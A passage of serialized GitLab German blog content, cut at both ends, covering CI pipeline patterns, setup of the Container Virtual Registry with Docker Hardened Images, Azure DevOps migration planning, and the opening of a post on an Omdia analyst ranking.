ein API-Contract-Artifact und löst anschließend die Backend-Pipeline aus. Das Backend ruft das Artifact über die GitLab Jobs API ab und validiert es. Der `integration-test`-Job läuft dabei nur dann, wenn er von einer Upstream-Pipeline ausgelöst wurde (`$CI_PIPELINE_SOURCE == \"pipeline\"`), nicht bei einem eigenständigen Push. Die Frontend-Projekt-ID wird als CI/CD-Variable gesetzt, um Hardcoding zu vermeiden. Vollständige Konfigurationen beider Repositories: [englischer Originalartikel](https://about.gitlab.com/blog/5-ways-gitlab-pipeline-logic-solves-real-engineering-problems/#2-microservices-cross-repo-multi-project-pipelines).\n\n**Muster 3 (Dynamische Child-Pipelines):** Ein `generate-config`-Job erzeugt zur Laufzeit environment-spezifische YAML-Dateien. Trigger-Jobs nutzen `extends:` für gemeinsam genutzte Konfiguration und `needs:` für sequenzielle Promotion (dev → staging → prod mit manuellem Gate). Vollständige Konfiguration: [englischer Originalartikel](https://about.gitlab.com/blog/5-ways-gitlab-pipeline-logic-solves-real-engineering-problems/#3-multi-tenant--matrix-deployments-dynamic-child-pipelines).\n\n## Weiterführende Artikel\n\n- [Variable and artifact sharing in GitLab parent-child pipelines](https://about.gitlab.com/blog/variable-and-artifact-sharing-in-gitlab-parent-child-pipelines/)\n- [CI/CD inputs: Secure and preferred method to pass parameters to a pipeline](https://about.gitlab.com/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline/)\n- [Tutorial: How to set up your first GitLab CI/CD component](https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component/)\n- [How to include file references in your CI/CD components](https://about.gitlab.com/blog/how-to-include-file-references-in-your-ci-cd-components/)\n- [FAQ: GitLab CI/CD Catalog](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/)\n- [Building a GitLab CI/CD pipeline for a monorepo the easy way](https://about.gitlab.com/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way/)\n- [A CI/CD component builder's journey](https://about.gitlab.com/blog/a-ci-component-builders-journey/)\n- [CI/CD Catalog goes GA: No more building pipelines from scratch](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/)","5 GitLab-Pipeline-Muster für komplexe Engineering-Herausforderungen","Wie Parent-Child-Pipelines, DAG-Execution, MR-Pipelines und CI/CD Components komplexe Delivery-Probleme lösen – von Monorepos bis zur governed Plattform.",[994],"Omid Khan","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772721753/frfsm1qfscwrmsyzj1qn.png","2026-04-09",[89,867,853,788],{"featured":13,"template":796,"slug":999},"5-ways-gitlab-pipeline-logic-solves-real-engineering-problems",{"content":1001,"config":1009},{"title":1002,"description":1003,"authors":1004,"heroImage":1005,"date":1006,"body":1007,"category":709,"tags":1008},"GitLab Container Virtual Registry mit Docker Hardened Images einrichten","Mehrere Registries hinter einem Endpunkt – GitLab Container Virtual Registry mit Docker Hardened Images, Caching und Audit-Trail.",[901],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772111172/mwhgbjawn62kymfwrhle.png","2026-03-12","Wer im Plattformteam arbeitet, kennt solche Gespräche:\n\n*„Security sagt: Wir müssen gehärtete Base-Images verwenden.\"*\n\n*„Prima – wo trage ich jetzt die Credentials für noch eine weitere Registry ein?\"*\n\n*„Und wie stellen wir sicher, dass alle sie auch wirklich nutzen?\"*\n\nOder diese hier:\n\n*„Warum sind unsere Builds so langsam?\"*\n\n*„Wir pullen dasselbe 500-MB-Image in jedem einzelnen Job neu von Docker Hub.\"*\n\n*„Kann man die nicht irgendwo cachen?\"*\n\nIch arbeite bei GitLab an der [Container Virtual Registry](https://docs.gitlab.com/user/packages/virtual_registry/container/) – einem Pull-Through-Cache, der vor den vorgelagerten Registries sitzt: Docker Hub, dhi.io (Docker Hardened Images), MCR und Quay. Teams erhalten einen einzigen Endpunkt zum Pullen. Images werden beim ersten Abruf gecacht; alle nachfolgenden Pulls kommen aus dem Cache. Das Entwicklungsteam muss nicht wissen, aus welchem Upstream ein bestimmtes Image stammt.\n\nDieser Artikel zeigt die Einrichtung der Container Virtual Registry – mit Docker Hardened Images als konkretem Anwendungsfall, da diese Kombination für Teams mit Sicherheitsanforderungen besonders naheliegt.\n\n## Das Problem: Registry-Wildwuchs im Plattformteam\n\nDie Plattformteams, mit denen ich spreche, verwalten Container-Images über drei bis fünf Registries:\n\n- **Docker Hub** für die meisten Base-Images\n- **dhi.io** für Docker Hardened Images (sicherheitskritische Workloads)\n- **MCR** für .NET- und Azure-Tooling\n- **Quay.io** für das Red-Hat-Ökosystem\n- **Interne Registries** für proprietäre Images\n\nJede davon hat eigene Authentifizierungsmechanismen, unterschiedliche Netzwerklatenz und eine eigene Pfadstruktur für Images.\n\nCI/CD-Konfigurationen füllen sich mit registry-spezifischer Logik. Credential-Management wird zum eigenständigen Projekt. Und jeder Pipeline-Job lädt dieselben Base-Images erneut über das Netz – obwohl sie sich seit Wochen nicht geändert haben.\n\nContainer Virtual Registry konsolidiert das: eine Registry-URL, ein Authentifizierungsfluss über GitLab, gecachte Images aus GitLab-Infrastruktur statt wiederholter Internet-Traversierung.\n\n## Funktionsweise\n\nDas Modell ist geradlinig:\n\n```text\n\nPipeline ruft ab:\n  gitlab.com/virtual_registries/container/1000016/python:3.13\n\nVirtual Registry prüft:\n  1. Im Cache vorhanden? → Direkt zurückgeben\n  2. Nein? → Vom Upstream laden, cachen, zurückgeben\n\n\n```\n\nUpstreams werden in Prioritätsreihenfolge konfiguriert. Bei einem eingehenden Pull-Request durchsucht die Virtual Registry die Upstreams der Reihe nach, bis das Image gefunden wird. Das Ergebnis wird für einen konfigurierbaren Zeitraum gecacht – standardmäßig 24 Stunden.\n\n\n```text\n\n┌─────────────────────────────────────────────────────────┐ │                    CI/CD Pipeline                       │ │                          │                              │ │                          ▼                              │ │   gitlab.com/virtual_registries/container/\u003Cid>/image   │ └─────────────────────────────────────────────────────────┘\n                           │\n                           ▼\n┌─────────────────────────────────────────────────────────┐ │            Container Virtual Registry                   │ │                                                         │ │  Upstream 1: Docker Hub ────────────────┐               │ │  Upstream 2: dhi.io (Hardened) ────────┐│               │ │  Upstream 3: MCR ─────────────────────┐││               │ │  Upstream 4: Quay.io ────────────────┐│││               │ │                                      ││││               │ │                    ┌─────────────────┴┴┴┴──┐            │ │                    │        Cache          │            │ │                    │  (manifests + layers) │            │ │                    └───────────────────────┘            │ └─────────────────────────────────────────────────────────┘\n\n```\n\n## Was das konkret bringt – besonders mit Docker Hardened Images\n\n[Docker Hardened Images](https://docs.docker.com/dhi/) zeichnen sich durch minimale Angriffsfläche, nahezu keine bekannten CVEs, vollständige Software Bills of Materials (SBOMs) und SLSA-Provenance aus. Für Teams, die Base-Images für sicherheitskritische Workloads evaluieren, gehören sie auf die Shortlist.\n\nDer Wechsel zu dhi.io erzeugt jedoch dieselbe operative Reibung wie jede neue Registry:\n\n- **Credential-Verteilung**: Docker-Credentials müssen auf alle Systeme verteilt werden, die Images von dhi.io abrufen.\n- **CI/CD-Anpassungen**: Jede Pipeline muss für die Authentifizierung mit dhi.io aktualisiert werden.\n- **Akzeptanzproblem**: Ohne zentrale Steuerung greifen Teams weiterhin auf reguläre Images zurück.\n- **Fehlende Transparenz**: Ob Teams tatsächlich die gehärteten Varianten nutzen, ist kaum nachvollziehbar.\n\nDie Virtual Registry löst jeden dieser Punkte:\n\n**Einzelne Credential**: Teams authentifizieren sich bei GitLab. Die Virtual Registry übernimmt die Upstream-Authentifizierung. Docker-Credentials werden einmalig auf Registry-Ebene konfiguriert und gelten für alle Pulls.\n\n**Keine per-Team-CI/CD-Änderungen**: Pipelines auf die Virtual Registry zeigen lassen – fertig. Die Upstream-Konfiguration ist zentralisiert.\n\n**Schrittweise Einführung**: Da Images mit ihrem vollständigen Pfad gecacht werden, ist im Cache sichtbar, was tatsächlich abgerufen wird. Wird `library/python:3.11` statt der gehärteten Variante gepullt, ist das erkennbar.\n\n**Audit-Trail**: Der Cache zeigt exakt, welche Images aktiv genutzt werden – nachvollziehbar für Compliance-Zwecke und als Grundlage für das Verständnis der tatsächlichen Infrastruktur-Abhängigkeiten.\n\nWer das Konzept verstanden hat und die Einrichtung zu einem späteren Zeitpunkt in Angriff nimmt: Die wesentlichen Konzepte sind damit abgedeckt. Die technische Konfiguration folgt im nächsten Abschnitt.\n\n## Einrichtung\n\nDie folgende Einrichtung nutzt den Python-Client aus dem Demo-Projekt.\n\n### Virtual Registry erstellen\n\n```python\nfrom virtual_registry_client import VirtualRegistryClient\nclient = VirtualRegistryClient()\nregistry = client.create_virtual_registry(\n    group_id=\"785414\",  # ID der obersten Gruppe\n    name=\"platform-images\",\n    description=\"Cached container images for platform teams\"\n)\nprint(f\"Registry ID: {registry['id']}\") # Diese ID wird für die Pull-URL benötigt\n```\n\n### Docker Hub als Upstream hinzufügen\n\nFür offizielle Images wie Alpine, Python usw.:\n\n```python\n\ndocker_upstream = client.create_upstream(\n    registry_id=registry['id'],\n    url=\"https://registry-1.docker.io\",\n    name=\"Docker Hub\",\n    cache_validity_hours=24\n)\n\n```\n\n### Docker Hardened Images (dhi.io) hinzufügen\n\nDocker Hardened Images werden auf `dhi.io` gehostet – einer separaten Registry mit Authentifizierungspflicht:\n\n```python\n\ndhi_upstream = client.create_upstream(\n    registry_id=registry['id'],\n    url=\"https://dhi.io\",\n    name=\"Docker Hardened Images\",\n    username=\"your-docker-username\",\n    password=\"your-docker-access-token\",\n    cache_validity_hours=24\n)\n\n```\n\n### Weitere Upstreams hinzufügen\n\n```python\n\n# MCR für .NET-Teams client.create_upstream(\n    registry_id=registry['id'],\n    url=\"https://mcr.microsoft.com\",\n    name=\"Microsoft Container Registry\",\n    cache_validity_hours=48\n)\n# Quay für das Red-Hat-Ökosystem client.create_upstream(\n    registry_id=registry['id'],\n    url=\"https://quay.io\",\n    name=\"Quay.io\",\n    cache_validity_hours=24\n)\n\n```\n\n### CI/CD aktualisieren\n\nEine `.gitlab-ci.yml`, die über die Virtual Registry pullt:\n\n```yaml\n\nvariables:\n  VIRTUAL_REGISTRY_ID: \u003Cyour_virtual_registry_ID>\n\n  \nbuild:\n  image: docker:24\n  services:\n    - docker:24-dind\n  before_script:\n    # Authentifizierung bei GitLab – Upstream-Auth wird übernommen\n    - echo \"${CI_JOB_TOKEN}\" | docker login -u gitlab-ci-token --password-stdin gitlab.com\n  script:\n    # Alle Pulls laufen über die zentrale Virtual Registry\n    \n    # Offizielle Docker Hub Images (library/-Präfix erforderlich)\n    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/library/alpine:latest\n    \n    # Docker Hardened Images von dhi.io (kein Präfix nötig)\n    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/python:3.13\n    \n    # .NET von MCR\n    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/dotnet/sdk:8.0\n\n\n```\n\n### Image-Pfadformate\n\nVerschiedene Registries verwenden unterschiedliche Pfadkonventionen:\n\n| Registry | Beispiel-Pull-URL |\n|----------|-------------------|\n| Docker Hub (offiziell) | `.../library/python:3.11-slim` |\n| Docker Hardened Images (dhi.io) | `.../python:3.13` |\n| MCR | `.../dotnet/sdk:8.0` |\n| Quay.io | `.../prometheus/prometheus:latest` |\n\n### Funktionsprüfung\n\nNach einigen Pulls lässt sich der Cache überprüfen:\n\n```python\n\nupstreams = client.list_registry_upstreams(registry['id']) for upstream in upstreams:\n    entries = client.list_cache_entries(upstream['id'])\n    print(f\"{upstream['name']}: {len(entries)} cached entries\")\n\n\n```\n\n## Messergebnisse\n\nTestergebnisse beim Pullen über die Virtual Registry:\n\n| Messgröße | Ohne Cache | Mit warmem Cache |\n|-----------|------------|-----------------|\n| Pull-Zeit (Alpine) | 10,3 s | 4,2 s |\n| Pull-Zeit (Python 3.13 DHI) | 11,6 s | ~4 s |\n| Netzwerk-Roundtrips zum Upstream | Jeder Pull | Nur Cache-Misses |\n\nDer erste Pull hat dieselbe Dauer – das Image muss vom Upstream geladen werden. Jeder weitere Pull innerhalb der Cache-Gültigkeitsdauer kommt direkt aus GitLab-Storage: kein Netzwerk-Hop zu Docker Hub, dhi.io, MCR oder einer anderen Registry.\n\nBei Teams mit vielen Pipeline-Jobs pro Tag summiert sich das zu einem messbaren Gewinn bei den Build-Laufzeiten.\n\n## Praktische Hinweise\n\n### Cache-Gültigkeit\n\nDer Standard sind 24 Stunden. Für sicherheitskritische Images, bei denen Patches schnell verfügbar sein sollen, empfiehlt sich ein kürzeres Intervall:\n\n```python\n\nclient.create_upstream(\n    registry_id=registry['id'],\n    url=\"https://dhi.io\",\n    name=\"Docker Hardened Images\",\n    username=\"your-username\",\n    password=\"your-token\",\n    cache_validity_hours=12\n)\n\n```\n\nFür stabile Images mit fixen Versions-Tags ist ein längeres Intervall problemlos.\n\n### Upstream-Priorität\n\nUpstreams werden der Reihe nach geprüft. Bei gleichnamigen Images in verschiedenen Registries gewinnt der erste passende Upstream.\n\n### Limits\n\n- Maximal 20 Virtual Registries pro Gruppe\n- Maximal 20 Upstreams pro Virtual Registry\n\n## Konfiguration über die Oberfläche\n\nVirtual Registries und Upstreams lassen sich auch direkt in der GitLab-Oberfläche einrichten – ohne API-Aufrufe. Unter **Einstellungen > Pakete und Registries > Virtual Registry** der jeweiligen Gruppe stehen folgende Optionen zur Verfügung:\n\n- Virtual Registries erstellen und verwalten\n- Upstreams hinzufügen, bearbeiten und neu anordnen\n- Cache anzeigen und verwalten\n- Überblick, welche Images abgerufen werden\n\n## Ausblick\n\nIn Entwicklung:\n\n- **Allow/Deny-Listen**: Regex-basierte Steuerung, welche Images aus welchen Upstreams abgerufen werden dürfen.\n\nContainer Virtual Registry befindet sich in der Beta-Phase. Die Funktion wird produktiv eingesetzt und wird weiterentwickelt – Feedback fließt direkt in die Priorisierung ein.\n\n## Feedback\n\nWer als Plattformteam mit Registry-Wildwuchs zu kämpfen hat: Ich möchte verstehen, wie die aktuelle Situation aussieht.\n\n- Wie viele Upstream-Registries werden verwaltet?\n- Wo liegt der größte Schmerzpunkt?\n- Würde ein solcher Ansatz helfen – und falls nicht: Was fehlt?\n\nErfahrungen und Rückmeldungen gerne im [Container Virtual Registry Feedback-Issue](https://gitlab.com/gitlab-org/gitlab/-/work_items/589630) teilen.\n\n## Weiterführende Ressourcen\n\n- [Neue GitLab-Metriken und Registry-Funktionen zur Optimierung von CI/CD-Pipelines](https://about.gitlab.com/de-de/blog/new-gitlab-metrics-and-registry-features-help-reduce-ci-cd-bottlenecks/)\n- [Container Virtual Registry – Dokumentation](https://docs.gitlab.com/user/packages/virtual_registry/container/)\n- [Container Virtual Registry – API](https://docs.gitlab.com/api/container_virtual_registries/)\n\n## Für deutsche Unternehmen könnte dies folgende Themen betreffen\n\nTeams, die sicherheitsgehärtete Base-Images mit vollständigen SBOMs und SLSA-Provenance einsetzen, haben möglicherweise auch Compliance-Überlegungen – beispielsweise in Bereichen wie Sicherheit der Software-Lieferkette, Nachvollziehbarkeit von Image-Abhängigkeiten und zentralem Audit-Trail.\n\nRegulatorische Frameworks wie NIS2 und der Cyber Resilience Act adressieren ähnliche Themen rund um Software-Lieferketten und SBOM-Transparenz. Für konkrete Compliance-Anforderungen empfiehlt sich Rücksprache mit entsprechender Fachberatung.",[853,746,788],{"featured":645,"template":796,"slug":1010},"using-gitlab-container-virtual-registry-with-docker-hardened-images",{"content":1012,"config":1023},{"category":709,"tags":1013,"body":1015,"date":1016,"heroImage":1017,"authors":1018,"title":1021,"description":1022},[853,1014,89],"git","Enterprise-Migrationen in regulierten Branchen wie Finanzwesen und Automobilindustrie erfordern systematisches Risikomanagement gemäß NIS2-Richtlinie Artikel 21. Die mehrstufige Migrationsstruktur mit Testläufen vor Produktions-Wellen und kontrollierten Change-Freezes demonstriert Business-Continuity-Management in der Praxis. GitLab Professional Services organisiert Migrationen in Wellen von 200-300 Projekten, um Komplexität zu managen und API-Rate-Limits zu respektieren.\n\n## Überblick\n\nGitLab bietet [Congregate](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/) (maintained by GitLab Professional Services) und [eingebauten Git-Repository-Import](https://docs.gitlab.com/user/project/import/repo_by_url/) für Migrationen von Azure DevOps (ADO). Beide Optionen unterstützen Repository-basierte oder Bulk-Migration und erhalten Git-Commit-History, Branches und Tags. Mit Congregate werden zusätzliche Assets wie Wikis, Work Items, CI/CD-Variablen, Container-Images, Packages und Pipelines migriert (siehe [Feature-Matrix](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/ado-migration-features-matrix.md)).\n\nEnterprises folgen typischerweise einem mehrstufigen Ansatz:\n\n- Repositories von ADO zu GitLab migrieren (Congregate oder eingebauter Import)\n- Pipelines von Azure Pipelines zu GitLab CI/CD migrieren\n- Verbleibende Assets wie Boards, Work Items und Artifacts zu GitLab Issues, Epics und Package/Container Registries migrieren\n\nMehrstufige Migrationsphasen (siehe [Diagramm](https://about.gitlab.com/blog/migration-from-azure-devops-to-gitlab/#overview)):\n\n- Prerequisites (IdP, Runners, Change Management)\n- Migration Phase (Source Code, History, Work Items)\n- Post-Migration (Pipelines, Assets, Security)\n\n## Migration planen\n\n**Zentrale Planungsfragen:**\n\n- Wie schnell muss die Migration abgeschlossen werden?\n- Was genau wird migriert?\n- Wer führt die Migration durch?\n- Welche Organisationsstruktur wird in GitLab benötigt?\n- Welche Einschränkungen, Limitierungen oder Fallstricke müssen berücksichtigt werden?\n\nDie Timeline bestimmt weitgehend den Migrationsansatz. Identifizierung von Champions oder Teams mit ADO- und GitLab-Erfahrung unterstützt Adoption und Guidance.\n\n**Inventar erstellen:**\n\nDas GitLab Professional Services [Evaluate](https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/evaluate#beta-azure-devops)-Tool produziert ein vollständiges Inventar der Azure DevOps Organisation: Repositories, PR-Counts, Contributors, Pipelines, Work Items, CI/CD-Variablen. Bei Professional Services Engagements wird dieser Report mit Engagement Manager oder Technical Architect geteilt für Migrationsplanung.\n\nMigrations-Timing wird primär bestimmt durch Pull-Request-Count, Repository-Größe und Contribution-Menge. Beispiel: 1.000 kleine Repositories mit wenigen PRs migrieren schneller als wenige Repositories mit Zehntausenden PRs. Inventar-Daten ermöglichen Aufwands-Schätzung und Test-Run-Planung.\n\nIn Professional Services Engagements werden Migrationen in Wellen von 200-300 Projekten organisiert, um Komplexität zu managen und API-Rate-Limits zu respektieren (sowohl [GitLab](https://docs.gitlab.com/security/rate_limits/) als auch [ADO](https://learn.microsoft.com/en-us/azure/devops/integrate/concepts/rate-limits?view=azure-devops)).\n\n**Tool-Auswahl:**\n\nGitLabs [eingebauter Repository-Importer](https://docs.gitlab.com/user/project/import/repo_by_url/) migriert Git-Repositories (Commits, Branches, Tags) einzeln. Congregate erhält Pull Requests (in GitLab: Merge Requests), Kommentare und Metadata; der eingebaute Import fokussiert auf Git-Daten (History, Branches, Tags).\n\nAssets die typischerweise separate Migration oder manuelle Neuerstellung erfordern:\n\n- Azure Pipelines → GitLab CI/CD Pipelines (siehe [CI/CD YAML](https://docs.gitlab.com/ci/yaml/) oder [CI/CD Components](https://docs.gitlab.com/ci/components/)). Alternativ: AI-basierte Pipeline-Konvertierung in Congregate.\n- Work Items und Boards → GitLab Issues, Epics, Issue Boards\n- Artifacts, Container-Images (ACR) → GitLab Package/Container Registry\n- Service Hooks, externe Integrationen → in GitLab neu erstellen\n\n[Permissions-Modelle](https://docs.gitlab.com/user/permissions/) unterscheiden sich zwischen ADO und GitLab. Permissions-Mapping planen statt exakter Preservation zu erwarten.\n\n**Organisationsstruktur in GitLab:**\n\nEmpfohlener Ansatz: ADO-Organisationen auf GitLab-Groups mappen (nicht viele kleine Groups). Migration als Gelegenheit nutzen, GitLab-Struktur zu rationalisieren (siehe [Struktur-Diagramm](https://about.gitlab.com/blog/migration-from-azure-devops-to-gitlab/#planning-your-migration)):\n\n- **ADO Organization** → GitLab Top-level Group\n- **ADO Project** → GitLab Subgroup (optional)\n- **ADO Repository** → GitLab Project\n\nWeitere Empfehlungen:\n\n- Subgroups und Project-Level-Permissions für verwandte Repositories nutzen\n- Zugriff über GitLab Groups und Group-Membership managen\n- GitLab [Permissions](https://docs.gitlab.com/ee/user/permissions.html) und [SAML Group Links](https://docs.gitlab.com/user/group/saml_sso/group_sync/) für Enterprise-RBAC-Modell evaluieren\n\n**ADO Work Items Migration:**\n\nADO Boards und Work Items mappen zu GitLab Issues, Epics und Issue Boards. ADO Epics und Features werden GitLab Epics. Andere Work-Item-Typen (User Stories, Tasks, Bugs) werden project-scoped Issues. Standard-Felder bleiben erhalten; ausgewählte Custom Fields können migriert werden. Parent-Child-Relationships bleiben erhalten. Links zu Pull Requests werden zu Merge-Request-Links konvertiert.\n\n![Migration eines Work Items zu GitLab Issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764769188/ztesjnxxfbwmfmtckyga.png)\n\n**Pipelines-Migration:**\n\nCongregate bietet [AI-basierte Konvertierung](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/merge_requests/1298) für multi-stage YAML-Pipelines von Azure DevOps zu GitLab CI/CD. Die automatisierte Konvertierung funktioniert optimal für einfache Single-File-Pipelines und liefert einen funktionalen Ausgangspunkt, nicht ein produktionsreifes `.gitlab-ci.yml`-File. Das Tool generiert funktional äquivalente GitLab-Pipelines zur weiteren Optimierung.\n\n- Konvertiert Azure Pipelines YAML zu `.gitlab-ci.yml` automatisch\n- Geeignet für straightforward Single-File-Pipeline-Konfigurationen\n- Liefert Boilerplate zur Migrations-Beschleunigung, nicht finales Production-Artifact\n- Erfordert Review und Anpassung für komplexe Szenarien, Custom Tasks oder Enterprise-Requirements\n- Unterstützt keine Azure DevOps Classic Release Pipelines\n\nRepository-Owner sollten [GitLab CI/CD Dokumentation](https://docs.gitlab.com/ci/) konsultieren für weitere Pipeline-Optimierung nach initialer Konvertierung.\n\n## Migrationen durchführen\n\nNach der Planung werden Migrationen in Stages durchgeführt, beginnend mit Trial Runs. Trial Migrations identifizieren organisations-spezifische Issues frühzeitig und ermöglichen Duration-Messung, Outcome-Validierung und Approach-Finetuning vor Production.\n\n**Was Trial Migrations validieren:**\n\n- Ob Repository und Assets erfolgreich migrieren (History, Branches, Tags; plus MRs/Comments bei Congregate)\n- Ob Destination sofort nutzbar ist (Permissions, Runners, CI/CD-Variablen, Integrationen)\n- Wie lange jeder Batch benötigt für Schedule- und Stakeholder-Expectations\n\n**Downtime-Guidance:**\n\nGitLabs eingebauter Git-Import und Congregate erfordern inhärent keine Downtime. Für Production-Wellen: Changes in ADO freezen (Branch-Protections oder Read-only), um verpasste Commits, PR-Updates oder mid-migration Work Items zu vermeiden. Trial Runs erfordern keine Freezes.\n\n**Batching-Guidance:**\n\nTrial-Batches back-to-back durchführen für kürzere elapsed Time. Teams validieren Results asynchron. Geplante Group/Subgroup-Struktur für Batch-Definition nutzen und API-Rate-Limits respektieren.\n\n**Empfohlene Schritte:**\n\n1. Test-Destination in GitLab erstellen (GitLab.com: dedicated Group/Namespace; Self-managed: Top-level Group)\n2. Authentication vorbereiten (Azure DevOps PAT, GitLab Personal Access Token mit api und read_repository Scopes)\n3. Trial Migrations durchführen (Repos only: eingebauter Import; Repos + PRs/MRs: Congregate)\n4. Post-Trial Follow-up (Repo-History, Branches, Tags, Merge Requests, Issues/Epics, Labels, Relationships verifizieren)\n5. Permissions/Roles, Protected Branches, Runners/Tags, Variables/Secrets, Integrations/Webhooks prüfen\n6. Pipelines (`.gitlab-ci.yml`) oder konvertierte Pipelines validieren\n7. User-Validierung für Functionality und Data-Fidelity\n8. Production-Migrationen in Waves durchführen (Change-Freezes in ADO erzwingen, Progress und Logs monitoren)\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ibIXGfrVbi4?si=ZxOVnXjCF-h4Ne0N\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n## Zentrale ADO-zu-GitLab-Mappings\n\nWichtigste Struktur-Mappings für Migrationsplanung:\n\n- **ADO Organization** → GitLab Group (Top-level Namespace)\n- **ADO Project** → GitLab Group oder Subgroup (Permissions-Boundary)\n- **ADO Repository** → GitLab Project (Git-Repo plus Issues, CI/CD, Wiki)\n- **Pull Request** → Merge Request (Code Review, Approvals)\n- **Azure Pipelines** → GitLab CI/CD (`.gitlab-ci.yml`)\n- **Agent Pools** → GitLab Runners (Job-Execution)\n- **Work Items** → GitLab Issues/Epics (Planning-Funktionalität)\n- **Variable Groups** → CI/CD Variables (Project/Group/Instance Level)\n\nFür vollständige Terminologie-Referenztabelle mit allen Mappings siehe [englische Originalversion](https://about.gitlab.com/blog/migration-from-azure-devops-to-gitlab/).\n\n## Professional Services Migrationsmuster\n\nGitLab Professional Services nutzt bewährte Muster für Enterprise-Migrationen:\n\n**Systematische Planung:** Evaluate-Tool liefert vollständiges Inventar (Repositories, PRs, Contributors, Pipelines, Work Items). Klassifikation nach Komplexität (Work Items = Planning-Team-Involvement; Pipelines = Conversion-Requirements) ermöglicht Timeline-Schätzung und Batch-Definition.\n\n**Controlled Execution:** Wellen von 200-300 Projekten managen Komplexität und respektieren API-Rate-Limits. Trial-Migrationen vor Production-Waves identifizieren Issues frühzeitig. Change-Freezes in ADO während Production-Wellen vermeiden mid-migration Updates.\n\n**Risikominimierung:** Multi-Phase-Ansatz (Prerequisites → Migration → Post-migration) mit Validierungs-Checkpoints an jeder Phase. Trial-Runs ermöglichen asynchrone Team-Validierung ohne Production-Impact.\n\n## Praktische Implementierung\n\nFür vollständige Implementierungsdetails, Konfigurationsbeispiele, Pipeline-Konvertierungs-Patterns und detaillierte Post-Migration-Checklisten siehe [englische Originalversion](https://about.gitlab.com/blog/migration-from-azure-devops-to-gitlab/).\n\nWeitere Professional Services Ressourcen:\n\n- [Professional Services Full Catalog](https://about.gitlab.com/professional-services/catalog/)\n- [Congregate Migration Tool](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/)\n- [Evaluate Inventory Tool](https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/evaluate)\n","2025-12-03","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658924/Blog/Hero%20Images/securitylifecycle-light.png",[1019,1020],"Evgeny Rudinsky","Michael Leopard","Migration von Azure DevOps zu GitLab systematisch planen","Professional Services Migrationsansatz mit mehrstufiger Struktur, 200-300 Projekt-Wellen und systematischem Risikomanagement für Enterprise-Migrationen.",{"featured":13,"template":796,"slug":1024},"migration-from-azure-devops-to-gitlab",{"category":723,"slug":721,"posts":1026},[1027,1040,1052],{"content":1028,"config":1038},{"title":1029,"description":1030,"authors":1031,"heroImage":1033,"body":1034,"date":1035,"category":721,"tags":1036},"GitLab als Leader im Omdia Universe 2026 ausgezeichnet","Der Omdia-Bericht 2026 zur KI-gestützten Softwareentwicklung hat 19 Anbieter bewertet. Was GitLabs Spitzenbewertungen für Entwicklungsteams bedeuten.",[1032],"Rebecca Carter","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774465167/n5hlvrsrheadeccyr1oz.png","GitLab wurde als Leader im Omdia Universe 2026 für KI-gestützte Softwareentwicklung (IDE-basierte Tools) ausgezeichnet. Von den neunzehn Anbietern, die das unabhängige Analystenhaus bewertet hat, erzielte GitLab Spitzenwerte in drei Kategorien: Solution Breadth (100 %), Strategy and Innovation (88 %) und Core Features (82 %). Für Extended Features und Vendor Execution folgen ebenfalls erstklassige Bewertungen.\n\nDie diesjährige Bewertung ist aus einem konkreten Grund bemerkenswert: Omdia hat die Bewertungskriterien erweitert und erstmals KI-Entwicklungstools nach ihrer Abdeckung des gesamten Software-Lifecycles bewertet – nicht nur nach Programmierfähigkeiten. Dieser Wandel spiegelt die aktuelle Entwicklung im KI-Bereich wider und hat die Rangfolge der Anbieter neu geordnet.\n\n![Omdia Universe chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775848262/asyd6bpbtwlhicqonhit.png \"Source: Omdia, Universe: AI-assisted Software Development, Part 1: IDE-based Tools, 2026\")\n\n> [Den vollständigen Omdia Universe Report herunterladen.](https://learn.gitlab.com/c/analyst-omdia-ai?x=fRC1cQ)\n\n\n## Über Omdia Universe\n\n\nDas Omdia Universe ordnet Anbieter nach Solution Capability sowie Strategy and Execution in drei Kategorien ein: Leaders (stärkste Positionierung auf beiden Achsen, für jede Shortlist empfohlen), Challengers (geringerer Funktionsumfang oder geringere Reife) und Prospects (frühe Phase oder angrenzende Anwendungsbereiche).\n\n\n## Was ist in der diesjährigen Bewertung anders?\n\n\nDie Erweiterung der Omdia-Kriterien spiegelt wider, was Entwicklungsteams in der Praxis bereits erleben. KI-Programmierwerkzeuge haben die Entwicklerleistung deutlich gesteigert, und Anwendungen, deren Entwicklung früher Wochen dauerte, lassen sich heute in einem Bruchteil der Zeit als Prototyp umsetzen. Beschleunigung beim Programmieren führt jedoch nicht automatisch zu schnellerer Auslieferung. Review-Backlogs wachsen. Sicherheitsbefunde häufen sich an. Deployments erfordern weiterhin die Koordination zwischen Teams, die mit Tools arbeiten, die nicht aufeinander abgestimmt wurden.\n\nOmdia hat diese Dynamik direkt erfasst: Die Plattformen, die sich absetzen, decken Testing, Security, Deployment und Orchestrierung ab – nicht nur Code-Generierung. Dieser Befund war ausschlaggebend für die Erweiterung der Bewertungskriterien und hat Leaders von Challengers unterschieden.\n\nEine weitere wesentliche Neuerung in diesem Jahr betrifft die Behandlung von agentischer KI. Die Bewertung 2026 gewichtet agentische Fähigkeiten als aktuelle Bewertungsdimension – nicht als Zukunftsperspektive. Berücksichtigt wird dabei, ob eine Plattform mehrere Aufgaben autonom 